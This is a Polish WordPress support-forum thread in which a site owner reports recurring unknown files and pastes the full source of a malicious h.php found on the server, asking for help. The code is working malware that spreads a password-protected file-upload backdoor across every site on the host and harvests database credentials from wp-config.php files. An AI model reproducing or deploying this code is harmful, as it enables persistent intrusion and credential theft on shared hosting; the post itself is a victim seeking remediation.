Wsparcie » Zaawansowane » Dodatkowe pliki na serwerze – włamanie / wirus ?

  • Od kilku tygodni pojawiają mi się katalogi z mnóstwem plików html w środku. dodatkowo pojawiają się pliki php w głównym katalogu strony, takie jak berg.php cron.php, we wszystkich jest podobny kod.
    Zmieniłem już hasło do FTP, zaktualizowaełm WordPressa i wtyczki, a pliki nadal się pojawiają (w różnych odstępach czasu). Ostatnio zaopserwowałem również dodatkowy plik h.php który miał inną składnię niż pozostałe. Poniżej przedstawiam treść pliku h.php i proszę o propozycje zabezpieczania strony lub usunięcia luki
    ——————
    treść pliku h.php
    ——————

    <!doctype html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>接口生成挖掘脚本</title>
    </head>
    
    <body>
    
    <?php
    
    //版本 jamin mysql 1.1.3
    
    //---------------------------//
    
    $jkname =array('int.php','inter.php','deal.php','beng.php','xr.php','cron.php');
    
    //二级的请注意修改   如
    $dir = dirname(dirname(__FILE__));  $dirhh = 1; //站点/home/##/baidu.com/ 根目录
    //$dir = dirname(dirname(dirname(__FILE__))); $dirhh = 0;  //站点/home/##/baidu.com/xxxx/ 根目录
    
    $edirarr = array('www','http','https','public_html','html','httpdocs','web'); //,可添加可能出现的二级/xxxx/级目录
    
    $dirb = "wp-includes"; //排除根目录写不进去 二级目录名可写 根据站点类型修改
    
    //---------------------------//
    
    	//接口源码
    
    $tmp = '<?php
    header("Content-Type: text/html; charset=utf-8");
    $action=$_REQUEST[\'action\'];
    $password=$_REQUEST[\'password\'];
    $pathname=$_REQUEST[\'pathname\'];
    $keywordindex=$_REQUEST[\'keywordindex\'];
    $filename=$_REQUEST[\'filename\'];
    $body=stripslashes($_REQUEST[\'body\']);
    
    if($action=="test")
    {
        echo \'test success\';
        return;
    }
    
    if($action!="publish")
    {
        echo \'action error\';
        return;
    }
    
    if($action==""||$password==""||$filename==""||$body=="")
    {
        echo \'parameters error\';
        return;
    }
    
    if($password!="5fobohlovr6v")
    {
        echo \'password error\';
        return;
    }
    
    $wjj=dirname(__FILE__);
    if(!file_exists($wjj))
    {
        mkdir($wjj,0777);
    }
    createFolder($pathname);
    
    $fp=fopen($pathname.\'/\'.$filename,"w");
    //fwrite($fp,"\xEF\xBB\xBF".iconv(\'gbk\',\'utf-8//IGNORE\',$body));
    fwrite($fp,"\xEF\xBB\xBF".$body);
    fclose($fp);
    echo "publish success";
    
    function createFolder($path)
    {
        if (!file_exists($path))
        {
            createFolder(dirname($path));
            mkdir($path, 0777);
        }
    }
    
    function mkdirs($dir)
    {
        if(!is_dir($dir))
        {
            if(!mkdirs(dirname($dir)))
            {  return false;  }
            if(!mkdir($dir,0777))
            {  return false;  }
        }
        return true;
    }  
    
    function rmdirs($dir)
    {
        $d = dir($dir);
        while (false !== ($child = $d->read()))
        {
            if($child != \'.\' && $child != \'..\')
            {
                if(is_dir($dir.\'/\'.$child))
                    rmdirs($dir.\'/\'.$child);
                else
                    unlink($dir.\'/\'.$child);
            }
        }
        $d->close();
        rmdir($dir);
    } 
    
    ?>';	
    
    	function pz($dir){
    			$myfile = @fopen($dir, "r");
    			$file = fread($myfile,filesize($dir));
    			$file = preg_replace('/</','',$file);
    			$file = preg_replace('/>/','',$file);
    
    			preg_match_all('#(\'DB_HOST\', \'(.*?)\')#U',$file,$zjarr);
       			preg_match_all('#(\'DB_NAME\', \'(.*?)\')#U',$file,$kmarr);
       			preg_match_all('#(\'DB_USER\', \'(.*?)\')#U',$file,$zharr);
       			preg_match_all('#(\'DB_PASSWORD\', \'(.*?)\')#U',$file,$mmarr);
       			preg_match_all('#table_prefix\s+=\s+\'(.*?)\'#U',$file,$qzarr);
    
    			$con = @mysql_connect($zjarr[2][0],$zharr[2][0],$mmarr[2][0]); 
    
    				if (!$con){ 
    
    					return '0';
    					}else{
    						$db_selected = @mysql_select_db($kmarr[2][0], $con);
    						if (!$db_selected) { 
    
    						return '0';
    						}else{
    						$sql = 'SELECT * FROM '.$qzarr[1][0].'options WHERE option_id=1';
    
    						$result=mysql_query($sql, $con);
    						while($row=mysql_fetch_array($result)){ 
    
    						return $row['option_value'];
    
    						}
    					}
    
    				}
    				mysql_close($con);
    
    		}
    
    	//生成接口
    		function ldirb($ldir,$tmp){
    		$wdir = @fopen($ldir,'w');
    		if($wdir){
    		fwrite($wdir,$tmp);
    			 return true;
    		}else{
    			return false;
    			}
    		}
    
    $dh = opendir($dir);
    
    //主循环程序开始
    while ($f = readdir($dh)){
         if($f =='.' || $f =='..'){
    		continue;
    		}else{
    		if(is_dir($dir.'/'.$f)){  //121
    			if($dirhh){
    					for($i=0;$i<count($jkname);$i++){
    						 ldirb($dir.'/'.$f.'/'.$jkname[$i],$tmp);
    					}
    
    				if(preg_match("/[a-z0-9][_\-]*?\.(\w\w$|\w\w\w$|\w\w\w\w$)/i",$f)){
    					if(file_exists($dir.'/'.$f.'/'.$jkname[0])){
    						echo $f.'<br>';
    					}else{
    						if(is_dir($dir.'/'.$f.'/'.$dirb)){
    							 for($i=0;$i<count($jkname);$i++){
    
    								ldirb($dir.'/'.$f.'/'.$dirb.'/'.$jkname[$i],$tmp);
    							 }
    							if(file_exists($dir.'/'.$f.'/'.$dirb.'/'.$jkname[0])){
    								echo $f.'/'.$dirb.'/'.$jkname[0].'<br>';
    							}
    						}
    					}
    				}else{
    
    				 if(file_exists($dir.'/'.$f.'/wp-config.php')){
    				 	if( pz($dir.'/'.$f.'/wp-config.php') !== '0'){
    						echo   pz($dir.'/'.$f.'/wp-config.php').'<br>';
    				 	}}
    				}
    			}else{
    				for($i=0;$i<count($edirarr);$i++){
    					if(is_dir($dir.'/'.$f.'/'.$edirarr[$i])){
    						for($t=0;$t<count($jkname);$t++){
    							ldirb($dir.'/'.$f.'/'.$edirarr[$i].'/'.$jkname[$t],$tmp);
    						}
    
    						if(preg_match("/[a-z0-9][_\-]*?\.(\w\w$|\w\w\w$|\w\w\w\w$)/i",$f)){ 
    
    							if(file_exists($dir.'/'.$f.'/'.$edirarr[$i].'/'.$jkname[0])){
    							echo $f.'<br>';
    							}else{
    								if(is_dir($dir.'/'.$f.'/'.$edirarr[$i].'/'.$dirb)){
    									 for($h=0;$h<count($jkname);$h++){
    
    										ldirb($dir.'/'.$f.'/'.$edirarr[$i].'/'.$dirb.'/'.$jkname[$i],$tmp);
    									 }
    									if(file_exists($dir.'/'.$f.'/'.$dirb.'/'.$jkname[0])){
    										echo $f.'/'.$dirb.'/'.$jkname[0].'<br>';
    									}
    								}
    							}
    						}else{
    							$dircon = $dir.'/'.$f.'/'.$edirarr[$i].'/wp-config.php';
    							if(file_exists($dircon)){
    								if( pz($dircon) !== '0'){
    									echo pz($dircon).'<br>';
    								}
    							}
    						}
    					}
    				}
    			}
    		}
    	}
    }
    
    ?>
    
    </body>
    </html>

  • Temat ‘Dodatkowe pliki na serwerze – włamanie / wirus ?’ jest zamknięty na nowe odpowiedzi.